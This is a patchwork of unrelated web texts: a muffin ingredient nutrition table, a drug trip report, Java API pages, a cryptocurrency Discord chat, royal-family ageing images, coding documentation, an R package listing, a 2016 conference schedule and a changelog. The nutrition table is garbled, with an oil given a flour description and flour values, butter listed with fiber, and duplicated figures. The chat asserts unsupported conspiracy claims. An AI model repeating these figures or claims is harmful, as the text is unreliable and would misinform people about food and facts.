Food & Drink
The Great Muffin Experiment: Ingredients
Agave Syrup:
Description: A sweet, viscous substance made from refining agave.
Category: sugar · Calories: 1008 per cup · Protein: 0 grams · Carbohydrates: 254.5 grams · Sugar: 225.6 grams · Fiber: 0 grams · Fat: 0 grams
All Purpose Flour:
Description: All-purpose flour is a general use wheat flour, and as the name suggests, it is suitable for all types of baked goods. Due to the bran removal in the milling process, this flour is often enriched with vitamins and minerals.
Category: flour · Calories: 455 per cup · Protein: 13 grams · Carbohydrates: 95 grams · Sugar: 0.3 grams · Fiber: 3.4 grams · Fat: 1.2 grams
Almond Butter:
Description: Butter derived from almonds.
Category: fat · Calories: 1568 per cup · Protein: 54.4 grams · Carbohydrates: 48 grams · Sugar: 11.2 grams · Fiber: 25.6 grams · Fat: 142.4 grams
Almond Flour:
Description: Almond flour is simply almonds that have been ground down to a small particle size. Baking with almond flour not only imparts the nutritional elements of the almond, but helps with moisture retention and structure.
Category: flour · Calories: 648 per cup · Protein: 24 grams · Carbohydrates: 14 grams · Sugar: 4.9 grams · Fiber: 14 grams · Fat: 56 grams
Amaranth Flour:
Description: Amaranth is often used in combination with other flours. (There is not a lot of research on how much to use, but probably no more than 20% of the flour should be amaranth.) It has a nutty flavor. It is also very high in lysine.
Category: flour · Calories: 648 per cup · Protein: 24 grams · Carbohydrates: 14 grams · Sugar: 4.9 grams · Fiber: 14 grams · Fat: 56 grams
Avocado Oil:
Description: Vegetable oil derived from avocado.
 It is often used as an alternative to wheat flour in gluten-free baking (although it is used in combination with other flours to aid with structure and moisture retention)
Category: flour · Calories: 574 per cup · Protein: 11 grams · Carbohydrates: 121 grams · Sugar: 1 grams · Fiber: 7.3 grams · Fat: 4.4 grams
Brown Sugar:
Description: A sugar coated with molasses.
Category: sugar · Calories: 528 per cup · Protein: 0 grams · Carbohydrates: 417.6 grams · Sugar: 417.6 grams · Fiber: 0 grams · Fat: 0 grams
Buckwheat Flour:
Description: Despite its name, buckwheat has no relation to wheat. Often used in pancakes, it is best used in combination with other flours. It has a nutty flavor.
Category: flour · Calories: 402 per cup · Protein: 15 grams · Carbohydrates: 85 grams · Sugar: 3.1 grams · Fiber: 12 grams · Fat: 3.7 grams
Butter:
Description: Solidified fat from churned cream.

Category: add-in · Calories: 912 per cup · Protein: 19.2 grams · Carbohydrates: 38.4 grams · Sugar: 0 grams · Fiber: 24 grams · Fat: 76.8 grams
Canola Oil:
Description: Vegetable oil derived from rapeseed.
Category: fat · Calories: 1984 per cup · Protein: 0 grams · Carbohydrates: 0 grams · Sugar: 0 grams · Fiber: 0 grams · Fat: 224 grams
Chickpea Flour:
Description: Chickpea flour is made from milling chickpeas (also known as garbanzo beans. This flour can aid in structure and binding and is good for gluten-free baking. It imparts a nutty flavor.
Category: flour · Calories: 356 per cup · Protein: 21 grams · Carbohydrates: 53 grams · Sugar: 10 grams · Fiber: 9.9 grams · Fat: 6.2 grams
Chocolate Chips:
Description: Chocolate chips are small pieces of sweetened chocolate. While traditionally, the chips were made from semi-sweet chocolate, there are now a variety of flavors.
Category: add-in · Calories: 606 per cup · Protein: 5.4 grams · Carbohydrates: 81 grams · Sugar: 69 grams · Fiber: 7.5 grams · Fat: 39 grams
Cocoa Powder:
Description: Cocoa powder is the powdered form of the dry solids with a small remaining amount of cocoa butter.
Category: add-in · Calories: 336 per cup · Protein: 16 grams · Carbohydrates: 48 grams · Sugar: 0 grams · Fiber: 16 grams · Fat: 8 grams
Coconut Flour:
Description: Coconut flour is milled from the meat of coconuts. Its function in baked products is as a boost to nutritional content. It can also be used to decrease the glycemic index in baked goods. It should comprise about 15% of flour usage.
Category: flour · Calories: 608 per cup · Protein: 25.6 grams · Carbohydrates: 72 grams · Sugar: 20.8 grams · Fiber: 12.2 grams · Fat: 24 grams
Coconut Oil:
Description: Butter derived from coconut.
Category: fat · Calories: 1936 per cup · Protein: 0 grams · Carbohydrates: 0 grams · Sugar: 0 grams · Fiber: 0 grams · Fat: 208 grams
Cornmeal:
Description: Cornmeal is coarsely milled corn kernels. Because of its lack of gluten, it does not expand during baking, and the final product can be dense.
Category: flour · Calories: 442 per cup · Protein: 9.9 grams · Carbohydrates: 94 grams · Sugar: 0.8 grams · Fiber: 8.9 grams · Fat: 4.4 grams
Granulated Sugar:
Description: White sugar, processed from cane or beet sugar.
Category: sugar · Calories: 768 per cup · Protein: 0 grams · Carbohydrates: 201.6 grams · Sugar: 201.6 grams · Fiber: 0 grams · Fat: 0 grams
Honey:
Description: A sweet, viscous food made by bees.
Category: sugar · Calories: 1024 per cup · Protein: 0 grams · Carbohydrates: 272 grams · Sugar: 272 grams · Fiber: 0 grams · Fat: 0 grams
Maple Syrup:
Description: A sweet, viscous food made from maple tree sap.
Category: sugar · Calories: 832 per cup · Protein: 0 grams · Carbohydrates: 208 grams · Sugar: 208 grams · Fiber: 0 grams · Fat: 0 grams
Molasses:
Description: A sweet, viscous substance made from refining beet or cane sugar.
Category: sugar · Calories: 976 per cup · Protein: 0 grams · Carbohydrates: 252 grams · Sugar: 252 grams · Fiber: 0 grams · Fat: 0 grams
Monkfruit Sweetener:
Description: A sugar made from the monkfruit, often packaged with erythritol.
Category: sugar · Calories: 0 per cup · Protein: 0 grams · Carbohydrates: 192 grams · Sugar: 0 grams · Fiber: 0 grams · Fat: 0 grams
Oat Flour:
Description: Oat flour is milled from oatmeal. It can make up about 40% of the flour in a recipe.
Category: flour · Calories: 420 per cup · Protein: 15 grams · Carbohydrates: 68 grams · Sugar: 0.8 grams · Fiber: 6.8 grams · Fat: 9.5 grams
Olive Oil:
Description: Vegetable oil derived from olives.
Category: fat · Calories: 1904 per cup · Protein: 0 grams · Carbohydrates: 0 grams · Sugar: 0 grams · Fiber: 0 grams · Fat: 224 grams
Peanut Butter:
Description: Butter derived from peanuts.
Category: fat · Calories: 1504 per cup · Protein: 56 grams · Carbohydrates: 62.4 grams · Sugar: 17.6 grams · Fiber: 14.4 grams · Fat: 128 grams
Pumpkin Seed Butter:
Description: Butter derived from pepitas or pumpkin seeds.
 It can add a bitter after-taste if used as more than 30% of the flour in a recipe. (For cakes and cookies, it should be no more than 10 and 20% respectively.)
Category: flour · Calories: 412 per cup · Protein: 16 grams · Carbohydrates: 72 grams · Sugar: 0 grams · Fiber: 7.8 grams · Fat: 6.8 grams
Rice Flour:
Description: Rice flour is made from milling white rice. It is often used as an alternative to wheat flour in gluten-free baking (although in combination with other flours to aid with structure and moisture retention).
Category: flour · Calories: 578 per cup · Protein: 9.4 grams · Carbohydrates: 127 grams · Sugar: 0.2 grams · Fiber: 3.8 grams · Fat: 2.2 grams
Rye Flour:
Description: Rye flour is produced by the milling of rye grain. Rye is closely related to wheat, and as such it should not be used in gluten-free recipes. (It does have far less gluten than wheat, however, when it comes to the structure and rise of baked goods.)
Category: flour · Calories: 356 per cup · Protein: 11 grams · Carbohydrates: 77 grams · Sugar: 1.1 grams · Fiber: 12 grams · Fat: 1.6 grams
Semolina Flour:
Description: Semolina is a course flour made from high protein durum wheat. It adds a nutty flavor, as well as contributes a yellow color to the final product (typically pasta).
Category: flour · Calories: 601 per cup · Protein: 21 grams · Carbohydrates: 122 grams · Sugar: 0 grams · Fiber: 6.5 grams · Fat: 1.8 grams
Sorghum Flour:
Description: Sorghum flour is a powder made from grinding the sorghum kernel. It is used in combination with other flours to help develop structure in gluten-free baked goods.
Category: flour · Calories: 434 per cup · Protein: 10 grams · Carbohydrates: 93 grams · Sugar: 2.3 grams · Fiber: 8 grams · Fat: 4 grams
Tahini:
Description: Butter derived from sesame seeds.
Category: fat · Calories: 1424 per cup · Protein: 41.6 grams · Carbohydrates: 51.2 grams · Sugar: 0 grams · Fiber: 11.2 grams · Fat: 128 grams
Tapioca Flour:
Description: Tapioca flour is obtained from the roots of the cassava plant (and therefore also known as cassava flour). It can function in a baked good to aid with thickening and adhesion, as well as moisture retention.
Category: flour · Calories: 428 per cup · Protein: 0.2 grams · Carbohydrates: 108 grams · Sugar: 4 grams · Fiber: 1.1 grams · Fat: 0 grams
Whole Wheat Flour:
Description: Whole wheat flour is the powder obtained from milling (typically) hard red wheat. It has a shorter shelf life than all purpose flour because of the oil in the bran and germ.
Category: flour · Calories: 405 per cup · Protein: 16 grams · Carbohydrates: 86 grams · Sugar: 0 grams · Fiber: 13 grams · Fat: 3 grams
Nutrition data derived from Nutritionix.com


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I was bored one night, I was sitting at home.. had nothign to do. I smoke weed for already a year, I also tried LSD once - thats about it. I decided to try some.. I was sitting alone in my room, Took 1 hit and became very dizzy..then took another hit and my vision was all spinning.. I was hearing a loop..took one more hit and I saw people all over telling me to inhale more.. took another hit and I saw a boxing ring with mickey mouse standing in it..I'm like what the fuck.. another hit and my heart started beating extremly fast.
My vision started going all grey..then my heart stopped beating, I couldn't breathe. I fell on my bed, then I stood up and I saw a friend (who wasnt there) run to phone ambulance. I was chasing him, then I told him I'm okay but he didn't hear me. I couldn't see his face at all, it had shade all over it. I didn't know who it was. So yeah, I ran up to him and tried to grab phone, but I couldn't. Its like it was air. He threw phone down and ran out of the house, I tried to follow him but once again I couldn't open the door! He ran back in to my room and as I followed him I saw myself lying on bed passed out, not even breathing.
From this trip, I now believe that theres another world with ghosts, and god himself saved my life when I was lying dead on the bed.
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java.lang.Object org.shinkirou.minesweeper.Board
public class Board
A class for minesweeper board.
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Board(int width,
int height,
int mines)
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Returns a string representation of the board state intended to displayed on a text interface or text output. |
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mark(int x,
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Marks a square mine. |
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Probes a square. |
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Un-marks a flag. |
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[dscrd-hush] <dukeleto> @Tupakito yeah, it's a weird news story. Basically, Zcash wants people to care and nobody cares
[dscrd-hush] <dukeleto> They spent 250,000 USD protecting the copyright, and don't want to anymore, so they are giving that problem to the foundation, which wants it
[dscrd-hush] <dukeleto> it's all about paperwork and bureaucrats that live off the Founders Reward
[dscrd-hush] <dukeleto> !tip 11 random users 25 hush
[dscrd-hush] <tip.cc> :HUSH: @dukeleto sent @cryptosugar, @CuzznDread, @El Noot, @house, @JandroMR, @join, @mkmk29, @Rabbe, @sojo, @Takoy_Nahal and @Yates 2.27 HUSH (≈ $0.18) each :cloud_rain:.
Use !tip nomention to stop being pinged by tips.
[dscrd-hush] <dukeleto> mornin' folks
[dscrd-hush] <Crypto99> Better get Hush while its cheap
[dscrd-hush] <dukeleto> @Crypto99 i remember our ATH, it's still pretty cheap :troll:
Keep your nudes on Facebook/Snapchat, code reviews in GitHub, customers in Salesforce, and your secret documents in GDrive/iCloud.
Those companies surely don't grant anyone access to manipulate code or see private data with no accountability. Right?
https://t.co/vBUuBdm...
[dscrd-hush] <dukeleto> important stuff to keep in mind folks. Anybody at any company can become a paid spy at any time, and your data is what is being bought
[dscrd-hush] <Crypto99> Sell side doesnt look so strong atm
[dscrd-hush] <Crypto99> A customer support agent could be selling your data
[dscrd-hush] <dukeleto> they are selling all of our data
[dscrd-hush] <dukeleto> just assume it
[dscrd-hush] <Crypto99> All of my data has already been sold
[dscrd-hush] <Crypto99> Its sold as I type it lol
[dscrd-hush] <dukeleto> Enlightenment
[dscrd-hush] <dukeleto> you reached it
[dscrd-hush] <Crypto99> That is the truth
[dscrd-hush] <Crypto99> It doesnt hurt to say it
[dscrd-hush] <Crypto99> Now we have to nudge back
[dscrd-hush] <dukeleto> It happens at Google, too, even tho they say it doesn't or can't
[dscrd-hush] <dukeleto> I have had Googlers tell me it's impossible, and then in another breath say "But some people have extra access or multiple people could band together and do it"
[dscrd-hush] <dukeleto> They have rules where it takes >N people to unlock some data
[dscrd-hush] <Crypto99> Google and Facebook originate from CIA funding. That's no conspiracy
[dscrd-hush] <dukeleto> so 1 rogue employee doesn't cut it
[dscrd-hush] <dukeleto> but all you do is pay a team of 3 people to do it
[dscrd-hush] <Crypto99> In one department
[dscrd-hush] <dukeleto> yup
[dscrd-hush] <dukeleto> With Saudi money, it's all cheap
[dscrd-hush] <Crypto99> They said it was impossible?
[dscrd-hush] <Crypto99> Degens
[dscrd-hush] <dukeleto> Buying any person on this Earth is cheap for Saudi money, not to pick anybody, but that is who paid the Twitter employees
[dscrd-hush] <Crypto99> That's who pays everyone.
[dscrd-hush] <dukeleto> Yep
[dscrd-hush] <Crypto99> Saudi Money is crazy
[dscrd-hush] <Crypto99> They eat gold flakes on their steak
[dscrd-hush] <dukeleto> Now, imagine you have some rogue gov employees, such as the dude who tried to steal lots of Bitcoin from the Silk Road, a Secret Service agent
[dscrd-hush] <dukeleto> now imagine they request your data from Google
[dscrd-hush] <dukeleto> you think Google is going to turn them down? lol
[dscrd-hush] <Crypto99> They would've got it within an hour
[dscrd-hush] <Crypto99> Those 2 bastards
[dscrd-hush] <Crypto99> They thought they could steal btc
[dscrd-hush] <franciscana23> Morning
[dscrd-hush] <Crypto99> Morning
Shaun Bridges, the 35-year-old Secret Service agent from Baltimore who was sentenced to 71 months in prison in 2016 for stealing over $800,000 in Bitcoin during a government investigation into notorious deep-web market Silk Road, has been sentenced to an additional two years ...
[dscrd-hush] <dukeleto> for those that need some history
[dscrd-hush] <Crypto99> A local driver's license employee could get that from google
[dscrd-hush] <dukeleto> This is why you need to understand blockchain analysis, folks
[dscrd-hush] <Crypto99> And sell you pic to the FBI or other databases
[dscrd-hush] <Crypto99> Blockchain analysis is about address segmentation and opsec
[dscrd-hush] <dukeleto> Not only did he steal Bitcoin, but he stole it from the GOVERNMENT, his employer. Uncle Sam don't like that
(edited)
[dscrd-hush] <Crypto99> That's bc Ross had over a million btc
[dscrd-hush] <Crypto99> They were doing the investigation. But they weren't the IRS employees
[dscrd-hush] <Crypto99> That is where US govt blockchain analysis got its start
[dscrd-hush] <dukeleto> yes, I imagine Silk Road was a pivotal time for blockchain analysis


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Designers at beauty discovery website www.cosmetify.com have created pictures which show what the royal babies could look like when they’re older. The images are of Prince George, Princess Charlotte, Prince Louis, Archie and Savannah Phillips.
If the experts are right, this is what our Royal Family will look like as we head in 2040.
Savannah Phillips
Age: 30
Savannah has got extremely fair hair like her mother, and is wearing it in a tight bun. Her nose and eyes take after her mother, whilst the mouth is closer to Phillip’s.
Prince George
Age: 27
George has been envisaged with a slicked-to-the-side blonde quiff, with hair beginning to recede, like William’s. With a nose similar to Kate’s, he also has a solid jaw and round, brown eyes.
 Her slim nose and piercing eyes remain the same, though her jaw is slightly more chiselled
Prince Louis
Age: 22
Louis has got fairer hair like William, with a squarer jaw than his brother, similar to Prince Andrew. He has slightly chubby cheeks and a similar nose shape to William, with eyes similar to Kate.
Archie
Age: 21
The team has imagined that Archie will take Harry’s hair colour but slightly darker, in tight curls. The nose takes after Harry’s, whilst the eyes are more similar to Meghan’s. Archie has freckles and a light beard.


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Algorithm (or Algorithmic thinking) is simply the process of writing (or sketching) down set of instructions to be followed when solving the smaller more manageable problems.
His father immediately brought out his phone and called his friend.
His friend told him not to worry, that in the next 5 hours everything will be ready and he will call him.
On the other hand, Musa went back to his room to send an invitation to all his friends.
5 hours later, Musa’s father received a phone call from his friend.
Musa and his father drove to the party hall to decorate and arrange the items.
As they arrived the hall, they were fully satisfied with it.
Now the next thing to do is to arrange the items right? Musa’s father asked. Yes daddy, he replied.
Musa as usual brought out his pen and paper to sketch down the instructions needed to successfully arrange the hall.
Have a look at what he sketched.


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Package org.drip.sample.bondsink
Sinkable Amortizing Capitalizing Bond Analytics
- Author:
- Lakshmi Krishnamurthy
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Class Summary Class Description Aligarh Aligarh generates the Full Suite of Replication Metrics for the Sinker Bond Aligarh.Amaravati Amaravati generates the Full Suite of Replication Metrics for the Sinker Bond Amaravati.Bhavnagar Bhavnagar generates the Full Suite of Replication Metrics for the Sinker Bond Bhavnagar.Bhiwandi Bhiwandi generates the Full Suite of Replication Metrics for the Sinker Bond Bhiwandi.Bhubaneswar Bhubaneswar generates the Full Suite of Replication Metrics for the Sinker Bond Bhubaneswar.Bikaner Bikaner generates the Full Suite of Replication Metrics for the Sinker Bond Bikaner.Cuttack Cuttack generates the Full Suite of Replication Metrics for the Sinker Bond Cuttack.Dehradun Dehradun generates the Full Suite of Replication Metrics for the Sinker Bond Dehradun.Firozabad Firozabad generates the Full Suite of Replication Metrics for the Sinker Bond Firozabad.Gorakhpur Gorakhpur generates the Full Suite of Replication Metrics for the Sinker Bond Gorakhpur.Guntur Guntur generates the Full Suite of Replication Metrics for the Sinker Bond Guntur.Ichalkaranji Ichalkaranji generates the Full Suite of Replication Metrics for the Sinker Bond Ichalkaranji.MiraBhayander MiraBhayander generates the Full Suite of Replication Metrics for the Sinker Bond MiraBhayander.Nellore Nellore generates the Full Suite of Replication Metrics for the Sinker Bond Nellore.Saharanpur Saharanpur generates the Full Suite of Replication Metrics for the Sinker Bond Saharanpur.Salem Salem generates the Full Suite of Replication Metrics for the Sinker Bond Salem.Warangal Warangal generates the Full Suite of Replication Metrics for the Sinker Bond Warangal.


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Before Change
// NumPy has an np.argparition() method, however log(1000) is so small that
// sorting the whole array is simpler and fast enough.
top_indicies = np.argsort(predicted_scores_by_user, axis=1)[:, -_TOP_K:]
top_indicies = np.flip(top_indicies, axis=1)
// Both HR and NDCG vectorized computation takes advantage of the fact that if
// the positive example for a user is not in the top k, that index does not
// appear. That is to say: hit_ind.shape[0] <= num_users
hit_ind = np.argwhere(np.equal(top_indicies, 0))
hr = hit_ind.shape[0] / ncf_dataset.num_users
ndcg = np.sum(np.log(2) / np.log(hit_ind[:, 1] + 2)) / ncf_dataset.num_users
global_step = estimator.get_variable_value(tf.GraphKeys.GLOBAL_STEP)
eval_results = {
After Change
:ncf_dataset.num_users * (1 + rconst.NUM_EVAL_NEGATIVES)]\
.reshape(ncf_dataset.num_users, -1)
item_with_padding = np.concatenate(item_batches, axis=0)
items_by_user = item_with_padding[
:ncf_dataset.num_users * (1 + rconst.NUM_EVAL_NEGATIVES)]\
.reshape(ncf_dataset.num_users, -1)
tf.logging.info("Computing metrics...")
hr, ndcg = get_hit_rate_and_ndcg(predicted_scores_by_user, items_by_user,


Search Template APIedit
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Inline Templatesedit
In the most basic form of request, the search template is specified inline:
SearchTemplateRequest request = new SearchTemplateRequest(); request.setRequest(new SearchRequest("posts")); request.setScriptType(ScriptType.INLINE); request.setScript( "{" + " \"query\": { \"match\" : { \"{{field}}\" : \"{{value}}\" } }," + " \"size\" : \"{{size}}\"" + "}"); Map<String, Object> scriptParams = new HashMap<>(); scriptParams.put("field", "title"); scriptParams.put("value", "elasticsearch"); scriptParams.put("size", 5); request.setScriptParams(scriptParams);
Registered Templatesedit
Search templates can be registered in advance through stored scripts API. Note that the stored scripts API is not yet available in the high-level REST client, so in this example we use the low-level REST client.
Request scriptRequest = new Request("POST", "_scripts/title_search"); scriptRequest.setJsonEntity( "{" + " \"script\": {" + " \"lang\": \"mustache\"," + " \"source\": {" + " \"query\": { \"match\" : { \"{{field}}\" : \"{{value}}\" } }," + " \"size\" : \"{{size}}\"" + " }" + " }" + "}"); Response scriptResponse = restClient.performRequest(scriptRequest);
Instead of providing an inline script, we can refer to this registered template in the request:
SearchTemplateRequest request = new SearchTemplateRequest(); request.setRequest(new SearchRequest("posts")); request.setScriptType(ScriptType.STORED); request.setScript("title_search"); Map<String, Object> params = new HashMap<>(); params.put("field", "title"); params.put("value", "elasticsearch"); params.put("size", 5); request.setScriptParams(params);
Rendering Templatesedit
Given parameter values, a template can be rendered without executing a search:
Both inline and pre-registered templates can be rendered.
Optional Argumentsedit
As in standard search requests, the explain
and profile
options are supported:
request.setExplain(true); request.setProfile(true);
Additional Referencesedit
The Search Template documentation contains further examples of how search requests can be templated.
Synchronous Executionedit
The searchTemplate
method executes the request synchronously:
SearchTemplateResponse response = client.searchTemplate(request, RequestOptions.DEFAULT);
Asynchronous Executionedit
A search template request can be executed asynchronously through the searchTemplateAsync
method:
The asynchronous method does not block and returns immediately. Once the request completes, the
ActionListener
is called back using the onResponse
method if the execution completed successfully,
or using the onFailure
method if it failed.
A typical listener for SearchTemplateResponse
is constructed as follows:
Search Template Responseedit
For a standard search template request, the response contains a SearchResponse
object
with the result of executing the search:
SearchTemplateResponse response = client.searchTemplate(request, RequestOptions.DEFAULT); SearchResponse searchResponse = response.getResponse();
If simulate
was set to true
in the request, then the response
will contain the rendered search source instead of a SearchResponse
:


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Neat have many possible color combinations. You can easily re-color sections and individual elements by simply setting a background-* or color-* of your choice. You can even change menu background and choose from 5 pre-defined color scheme.
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Working_with_array-like_objects
Working with array-like objects
Some JavaScript objects, such as the NodeList returned by document.getElementsByTagName() or the arguments object made available within the body of a function, look and behave like arrays on the surface but do not share all of their methods. The arguments object provides a length attribute but does not implement the forEach() method, for example.
Array prototype methods can be called against other array-like objects. for example:
function printArguments() {
Array.prototype.forEach.call(arguments, function(item) {
console.log(item);
});
}
Array prototype methods can be used on strings as well, since they provide sequential access to their characters in a similar way to arrays:
Array.prototype.forEach.call("a string", function(chr) {
console.log(chr);
});
Using an object in an array-like fashion
As mentioned above, push is intentionally generic, and we can use that to our advantage. Array.prototype.push can work on an object just fine, as this example shows. Note that we don't create an array to store a collection of objects. Instead, we store the collection on the object itself and use call on Array.prototype.push to trick the method into thinking we are dealing with an array, and it just works, thanks to the way JavaScript allows us to establish the execution context however we please.
var obj = {
length: 0,
addElem: function addElem (elem) {
// obj.length is automatically incremented every time an element is added.
[].push.call(this, elem);
}
};
// Let's add some empty objects just to illustrate.
obj.addElem({});
obj.addElem({});
console.log(obj.length);
// → 2
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As for the biased view of Japanese people toward China, yes, China needs to do some things but more importantly the responsibility is on the Japanese side. It needs to do more things to undo the prejudiced and biased views against China.
Chinese President Xi Jinping, blaming the unpopularity of his country on Japanese bias and prejudice, during a meeting with former Japanese Foreign Minister Yoriko Kawaguchi.
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Provides an R6 class and several utility methods to facilitate the implementation of models based on ordinary differential equations. The heart of the package is a code generator that creates compiled 'Fortran' (or 'R') code which can be passed to a numerical solver. There is direct support for solvers contained in packages 'deSolve' and 'rootSolve'.
| Version: | 0.7.4 |
| Imports: | R6, deSolve |
| Suggests: | knitr, rmarkdown, xtable, rootSolve |
| Published: | 2018-03-07 |
| Author: | David Kneis |
| Maintainer: | David Kneis <david.kneis at tu-dresden.de> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | https://github.com/dkneis/rodeo |
| NeedsCompilation: | yes |
| SystemRequirements: | The tools to run 'R CMD SHLIB' on 'Fortran' code. The used 'Fortran' compiler must support pointer initialization which is a feature of the 2008 standard. |
| Materials: | README |
| In views: | DifferentialEquations |
| CRAN checks: | rodeo results |
| Reference manual: | rodeo.pdf |
| Vignettes: |
R package rodeo: Basic Use and Sample Applications |
| Package source: | rodeo_0.7.4.tar.gz |
| Windows binaries: | r-devel: rodeo_0.7.4.zip, r-release: rodeo_0.7.4.zip, r-oldrel: rodeo_0.7.4.zip |
| OS X binaries: | r-release: rodeo_0.7.4.tgz, r-oldrel: rodeo_0.7.4.tgz |
| Old sources: | rodeo archive |
Please use the canonical form https://CRAN.R-project.org/package=rodeo to link to this page.


April 28 - 30, 2016
Greenville, SC
schedule
day one
april 28th
@ Huguenot mill - 101 W Broad St. Greenville, SC 29601
Here is a map of some cool places to eat downtown.
7:30am
Registration Opens
Check-in early with us at the Mill
*Methodical Coffee will have a pop-up brew bar on site in the mornings and afternoon so you can purchase some top-notch coffee to kick the day off with. (We'll also have complimentary brewed coffee and tea available all day.)
9:00AM - 10:00AM
Welcome Message and Opening Keynote
Carl Smith
Owner and founder of nGen Works, Carl is going to discuss how to create self-sustaining teams that perform at the highest levels.
10:00AM - 11:30AM
10/20 Sessions (A)
11:30AM - 1:30PM
Lunch
Enjoy a catered lunch right there in the Mill. Continue the conversations you started throughout lunch.
1:30-2:30PM
10/20 Sessions (B)
2:30PM - 3:30PM
Maker Show & Tell
Will Shurtz, Methodical Coffee
As the owner of the wildly popular Methodical Coffee, Will is going to walk you through his journey of getting Methodical up and running. He will also demonstrate several of the latest and greatest craft coffee techniques.
2:30PM - 3:30PM
Maker Show & Tell
Matt Moreau, Designer
Branding is one of the most important aspects of a business, but also one of the hardest aspects to clearly develop. A skilled designer, screenprinter, and an avid outdoorsman, Matt is going to facilitate a conversation about building a brand, and the most common mistakes that new businesses make.
2:30 - 3:30PM
10/20 Sessions (C)
4:00PM - 5:00PM
Closing Keynote
Aaron Draplin
Aaron Draplin, of Draplin Design Co. is going to talk about how to position your business to delve into other, related disciplines. As a master of Print, Web Development, and Illustration to name a few, Aaron will discuss the methods he used to grow his business.
8:00PM - 12:00AM
Game Night at the Iron Yard HQ
Join us at The Iron Yard's offices for Game Night. Board games, Xbox and Play Station with drinks and great company. Bring your favorite board game!
Bank of America Building 4th Floor, Main Street Greenville, SC 29601
day two
april 29th
@ huguenot mill - 101 w broad st. greenville, sc 29601
8:00am
Venue Opens
Check-in early with us at the Mill
*Methodical Coffee will have a pop-up brew bar on site in the mornings and afternoon so you can purchase some top-notch coffee to kick the day off with. (We'll also have complimentary brewed coffee and tea available all day.)
9:00AM - 10:00AM
Opening Keynote
Jenn Lukas
A multi-talented front-end consultant and freelancer developer in Philadelphia, Jenn is going to discuss her most recent venture, Ladies in Tech.
10:00AM - 11:30AM
10/20 Sessions (A)
11:30AM - 1:30PM
Lunch
Enjoy a catered lunch right there in the Mill. Continue the conversations you started throughout lunch.
1:30-2:30PM
10/20 Sessions (B)
2:30PM - 3:30PM
Maker Show & Tell
Mandy Blankenship, Textile Artist
Mandy is a textile artist who creates modern American quilts, equally geometric and graphic, handmade with sustainable fabrics and sashiko thread. She is going to dicuss her creative process and show you the basics of quilt-making.
2:30PM - 3:30PM
Maker Show & Tell
Brian Cendrowski, Brewmaster
Brian is the Co-Founder and Governor of Croxbone Brewing Company, a brewery-in-planning in Tampa, Florida. He is going to share his favorite non-traditional culinary-inspired beer recipes and flavors.
2:30 - 3:30PM
10/20 Sessions (C)
4:00PM - 5:00PM
Special Performance/Talk
Moldover
If technology and music are your life, brace yourself- MOLDOVER is about to reformat your soul. He is with us for a one time special performance that will not be forgotten. Stick around afterwards for a Q&A session!
day three
april 30th
@ The Iron Yard HQ - Bank of America Building, 4th Floor, Main Street, Greenville, SC 29601
8:00am
Venue Opens
Late Start Today
Late start, new location. Come to The Iron Yard for the last day of Grok. Stop in at Methodical Coffee to get your fix, then head upstairs to the 4th floor. We'll have handcrafted doughnuts waiting for you.
10:00AM - 10:30AM
Opening Keynote
Paul Roof
Currently an Associate Professor of Sociology at Charleston Southern University, specializing in urban studies and popular culture, Paul Roof will discuss trends and trending, and what that means to the success and failure of different industries.
10:30AM - 11:00AM
Demo Sign Ups
You can sign up to present a 10 minute "show & tell". Where you can talk to the entire crowd about a subject that interests you; a problem you're facing, new project you're launching or just simply something you'd like for us to hear about.
11:00AM - 12:00PM
10 Minute Demos
12:00AM - 2:00PM
Lunch Around Downtown
Grab a group of friends and head out downtown to grab lunch at one of the many awesome restaurants on Greenville's Main Street.
2:00PM - 4:00PM
10 Minute Demos
4:00PM
Hang out
Hang out for a bit with us as we close out the day.
8:00PM
Gather at Methodical Coffee
Methodical is the rad coffee shop on the first floor of the Bank of America Building.
Bank of America Building Main Street Greenville, SC 29601 (Map)


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This is the calendar for ECSA House volunteer office hours. During these times, the Open sign will be on, and there will be a volunteer in ECSA House. Feel free to drop by to use our services, or donate any bottle/can recycling during this time. If you find that the house is not open when it should be, please either email the VP House (ecsahouse@gmail.com), or let us know in our Comment Box.


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U.S. national and state-level inflation data, published by the Bureau of Labor Statistics.


Attach this attribute to a class to identify it as a region.
[IsRegion("addres_list")] [Repeat(typeof(Person))] [NeedsData("person_address")] internal class AddressListRegion { }
The [IsRegion()] attribute has the following properties you can set.
If you want to refer to your region by name in other page elements, then you need to provide a unique name here. The name will be scoped by the package it is in, so the name only has to be unique within the package.
If you want to refer to this region by name from a page element that is in a different package, then you need to prefix the region name with the package prefix and a colon, for example "regions:address_region"


| 2.2.0 2023-01-25 |
Breaking changes:
- Stop parsing the deprecated 8-digit ‘YYYYMMDD’ date format (#984) (#985) (#1023)
- GWT “support” is no longer pertinent as we cannot recompile the binary JAR; the latter is still available from the website for now
New features:
- Add option to colour the range selector’s veil (#856)
- Added strokeStyle option to crosshair plugin (#955)
- Support DocumentFragment as a result from a legendFormatter function (#958) (#959)
- Add data index to legendFormatter data (#965)
- Implement #RRGGBB[AA] hex colour parsing
- Make animateBackgroundFade into an option
- Add new “resizable” option using ResizeObserver on maindiv + CSS
- Add offset config for legend div in follow mode (#946)
Bugfixes:
- Fix duplicate annotation when having duplicate points (#826)
- Make sure that canvasx and canvasy properties are initialised from the start (#896)
- Fix issue #781 when the y range is zero (#909)
- Synchroniser now calls highlightCallback (#935)
- Fix drawAxes to allow one of two Y axes to be drawn (#936)
- LEGEND: Don’t show Y if value is undefined (#853) (#947)
- Fixed 'Cannot read property 'length' of undefined' issue (#962) (#963)
- Two fixes in the calculations of pinch-zoom (#990)
- Fix for double paint of grid of x-axis (#1007)
- Fix number of days in a year (#1012)
- Fix labelsKMB and labelsKMG2 (#571) (#994) (#1022)
- Fix label position in onmouseover legend mode was never updated
- Fix several cases of mispositioning/missizing by enabling elements before using offsetWidth etc.
- Make it possible to use logscale (and sigma, wilsonInterval) per-axis (#986)
Other user-visible changes:
- Documentation is now shipped (mostly self-contained) in the release
- Tests that use Google JSAPI are now marked ⚠ and no other external content is loaded anywhere
- Calculate legend positioning relative to closest data point (#1013)
- Add missing documentation about annotations xval option (#992)
- source mapping URLs are now correct (#1027)
- Ship ES5 versions of extras (#952), use them in examples
- Fix documentation/website HTML/CSS/JS bugs (#979) (#1008)
- On the website, external links are now clearly labelled
- The documentation and website now have browsable subdirectories by manually generated directory index files
- Link to UNPKG as CDN as well (to keep neutral; use of CDNs in websites violates the EU-GDPR)
- Most issues with right-to-left languages should now be fixed (#1019)
- Document that Dygraph will misbehave if the main div has padding
